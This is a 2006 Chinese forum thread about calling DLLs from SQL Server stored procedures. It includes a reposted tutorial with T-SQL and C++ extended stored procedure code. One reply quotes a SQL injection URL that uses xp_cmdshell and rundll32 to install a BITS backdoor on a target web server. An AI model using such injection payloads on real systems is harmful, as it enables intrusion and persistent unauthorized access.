社区
数据库相关
帖子详情
有哪位高手在存储过程下调用过DLL,望指点迷津~~~
架构之路
2006-04-12 07:45:18
可以给点思路吗?正在搞这个东西,可是不知该如何下手,谢谢了~~
...全文
209
14
打赏
收藏
有哪位高手在存储过程下调用过DLL,望指点迷津~~~
可以给点思路吗?正在搞这个东西,可是不知该如何下手,谢谢了~~
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
14 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
dh0498
2006-06-03
打赏
举报
回复
sp_addextendedproc
todouwang
2006-04-27
打赏
举报
回复
有个帖子可参考:
在存储过程中调用外部的动态连接库(MS SQL Server7.0/2000环境)
作者:ac952_z_cn
问题的提出:
一般我们要根据数据库的纪录变化时,进行某种操作。我们习惯的操作方式是在程序中不停的查询表,判断是否有新纪录。这样耗费的资源就很高,如何提高这种效率,我想在表中创建触发器,在触发器中调用外部动态连接库通过消息或事件通知应用程序就可实现。而master的存储过程中最好能调用外部的动态连接库,我们在触发器中调用master的存储过程即可。
下载源代码 大小:14K
说明:VC6需要安装较新的Platform SDK才能顺利编译本代码,VC.Net可以直接编译本代码。另外还需要连接Opends60.lib
为了使没有较新Platform SDK的朋友也能编译本例子,已经将VC.Net中的Srv.h和Opends60.lib放到压缩包中
程序实现:
我们来实现一个存储过程中调用外部的dll(storeproc.dll)的函数SetFileName和addLine。
存储过程如下(需放到master库中): CREATE PROCEDURE sp_testdll AS
exec sp_addextendedproc 'SetFileName', 'storeproc.dll' --声明函数
exec sp_addextendedproc 'addLine', 'storeproc.dll'
declare @szFileName varchar(200)
declare @szText varchar(200)
declare @rt int
Select @szFileName = 'c:\welcome.txt'
EXEC @rt = SetFileName @szFileName --调用SetFileName函数,参数为--szFileName;
if @rt = 0
begin
select @szText = 'welcome 01'
Exec @rt = addLine @szText --调用addLine
select @szText = 'welcome 02'
Exec @rt = addLine @szText
end
exec sp_dropextendedproc 'SetFileName'
exec sp_dropextendedproc 'addLine'
dbcc SetFileName(free)
dbcc addLine(free)
动态连接库的实现:这种动态连接库和普通的有所不同。该动态连接库要放入SQL的执行目录下,或直接放到Window的System32目录下,并重起SQL-Server #include <windows.h>
#include <srv.h> //要加入这个.h文件
#define XP_NOERROR 0
#define XP_ERROR 1
#ifndef _DEBUG
#define _DEBUG
#endif
char szFileName[MAX_PATH+1];
void WriteInfo(const char * str);
extern "C" SRVRETCODE WINAPI SetFileName(SRV_PROC* pSrvProc)
{
WriteInfo("SetFileName start");
int paramCount = srv_rpcparams(pSrvProc);
if (paramCount != 1){
WriteInfo("Param Err start");
return XP_ERROR;
}
BYTE bType;
unsigned long cbMaxLen;
unsigned long cbActualLen;
BOOL fNull;
int ret = srv_paraminfo(pSrvProc, 1, &bType, &cbMaxLen, &cbActualLen,
NULL, &fNull);
if (cbActualLen){
ZeroMemory(szFileName, MAX_PATH+1);
memcpy(szFileName, srv_paramdata(pSrvProc, 1), cbActualLen);
WriteInfo("Set filename ok");
return (XP_NOERROR);
}
else {
WriteInfo("Set filename param failed");
return XP_ERROR;
}
}
extern "C" SRVRETCODE WINAPI addLine(SRV_PROC* pSrvProc)
{
WriteInfo("addline start");
int paramCount = srv_rpcparams(pSrvProc);
if (paramCount != 1){
WriteInfo("addline param err");
return XP_ERROR;
}
BYTE bType;
unsigned long cbMaxLen;
unsigned long cbActualLen;
BOOL fNull;
bool rt = false;
int ret = srv_paraminfo(pSrvProc, 1, &bType, &cbMaxLen, &cbActualLen,
NULL, &fNull);
if (cbActualLen){
int n;
char srt[3] = {0x0d, 0x0a, 0};
char * c = new char[cbActualLen + 3];
if (!c)return XP_ERROR;
ZeroMemory(c, cbActualLen + 3);
memcpy(c, srv_paramdata(pSrvProc, 1), cbActualLen);
memcpy(c+cbActualLen, srt, 3);
HANDLE hf = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE|FILE_SHARE_READ, NULL,
OPEN_ALWAYS, 0, NULL);
if (hf == INVALID_HANDLE_VALUE){
WriteInfo("addline create file err ");
delete []c;
return XP_ERROR;
}
WriteInfo("addline create file ok ");
DWORD dwWt;
n = strlen(c);
SetFilePointer(hf, 0, NULL, FILE_END);
if (WriteFile(hf, c, n, &dwWt, NULL) && dwWt == n)
{
WriteInfo("addline write file ok ");
rt = true;
}
delete []c;
CloseHandle(hf);
}
return rt ? XP_NOERROR:XP_ERROR;
}
inline void WriteInfo(const char * str){
#ifdef _DEBUG
char srt[3] = {0x0d, 0x0a, 0};
HANDLE hf = CreateFile("c:\\storeproc.log", GENERIC_WRITE, FILE_SHARE_WRITE|FILE_SHARE_READ, NULL,
OPEN_ALWAYS, 0, NULL);
if (hf != INVALID_HANDLE_VALUE){
SetFilePointer(hf, 0, NULL, FILE_END);
DWORD dwWt;
WriteFile(hf, str, strlen(str), &dwWt, NULL);
WriteFile(hf, srt, strlen(srt), &dwWt, NULL);
CloseHandle(hf);
}
else {
MessageBox(NULL, "Write info err", "Message", MB_OK|MB_ICONINFORMATION);
}
#endif
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpReserved)
{
return TRUE;
}
编译完成后,把动态链接库放到WINNT/System32目录下,启动SQL Server。我们可以打开SQL Server Query Analyzer调用存储过程sp_testdll以测试其运行是否正确。
具体可参考SQL-Server的在线帮助。
笔者环境:win2000 professional + SQL-Server7.0(2000也可)
VC6.0+SP5+Platform SDK 20001.8
VC知识库测试环境:win2000 professional + SQL-Server 7.0 + VC.Net
lgbbgl
2006-04-26
打赏
举报
回复
up
sxdoujg
2006-04-14
打赏
举报
回复
up
架构之路
2006-04-13
打赏
举报
回复
sql server 有个xp_cmdshell可以调用 exe 文件
而windows有个 rundll32.exe 可调用 dll,
这些组合,应该可解决你的问题
=======================
xp_cmdshell存储过程在哪里?master里没有嘛....
架构之路
2006-04-12
打赏
举报
回复
楼上大狭说的方法我试一下
架构之路
2006-04-12
打赏
举报
回复
据说 sp_addextendedproc 可以调dll,可是用DELPHI写的DLL我没有成功过
aiirii
2006-04-12
打赏
举报
回复
http://www.cycycy.net/asp/show.asp?id=310
接下来提交url:
http://xxx.xxxx.com/message.asp?ID=1';execmaster.dbo.xp_cmdshell'rundll32.exe BITS.dll,Install zihuan';
我来解释一下:这句话的意思就是把bits后门的特征字符指定为zihuan并且安装bits。至于bits我曾经在X挡案上发表过相关文章。我在这里就不过多解释了。
aiirii
2006-04-12
打赏
举报
回复
sql server 有个xp_cmdshell可以调用 exe 文件
而windows有个 rundll32.exe 可调用 dll,
这些组合,应该可解决你的问题
http://www.supcode.com/Article/readcourse/heikegongfang/heikebiancheng/WindowszhongqiaoyongRUNDLL32.exemingling.shtml
wing_er
2006-04-12
打赏
举报
回复
SQL Server可以和VC结合的
hhnick
2006-04-12
打赏
举报
回复
我只知道master库的扩展存储过程可以调用dll,但是还没有用自己写的存储过程调用过,不太清楚原理。
架构之路
2006-04-12
打赏
举报
回复
是sql server,忘了说了,不好意思!~
aiirii
2006-04-12
打赏
举报
回复
存储过程 ??
oracle? sql server ??还是??
架构之路
2006-04-12
打赏
举报
回复
或者有列程最好,比如存储过程调用DLL返回一个字符串,该怎么弄?
Windows进程常用
DLL
模块注入技术
进程入口点注入,在程序初始化的时机前将
dll
模块文件注入至目标主线程。 进程调试级注入,涉及调试器相关功能
调用
知识点
dll
模块重定位内存注入,模拟操作系统加载PE文件方式,直接将
dll
文件内存数据写入目标进程并...
易语言开发通达信DLL公式接口
本系列课程将从数据结构,底层原理讲起,一步步分析并用易语言来编写通达信
DLL
公式接口接口,以及用编写的接口来编写各种公式。 学会了用易语言做通达信DLL接口的方法,其它的股票软件也可以按些方法做出来。
火山软件开发通达信
DLL
公式
用现在行的中文编程软件 火山软件来开发通达信的
DLL
扩展公式接口 火山编译出来的
DLL
,运行效率更高,不易报毒。
VC++动态链接库(
dll
)编程视频教学
动态链接库的开发编译属于VC++程序员技能。 本课程学习之后能够理解动态链接库原理,学会编译静态库、动态库,学会通过lib和头文件链接动态库,学会直接通过代码访问
dll
中函数
Unity ILRuntime框架设计
框架的将提供以下这些接口,这些接口将从0开始,在Unity里将C#脚本编译成
dll
,然后将
dll
放到服务器上,再将
dll
下载下来,进行加载,到最后从Unity主工程
调用
热更新的代码逻辑. 1.Create hotfix
dll
接口 将热更部分的代码 ...
数据库相关
2,498
社区成员
88,446
社区内容
发帖
与我相关
我的任务
数据库相关
Delphi 数据库相关
复制链接
扫一扫
分享
社区描述
Delphi 数据库相关
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章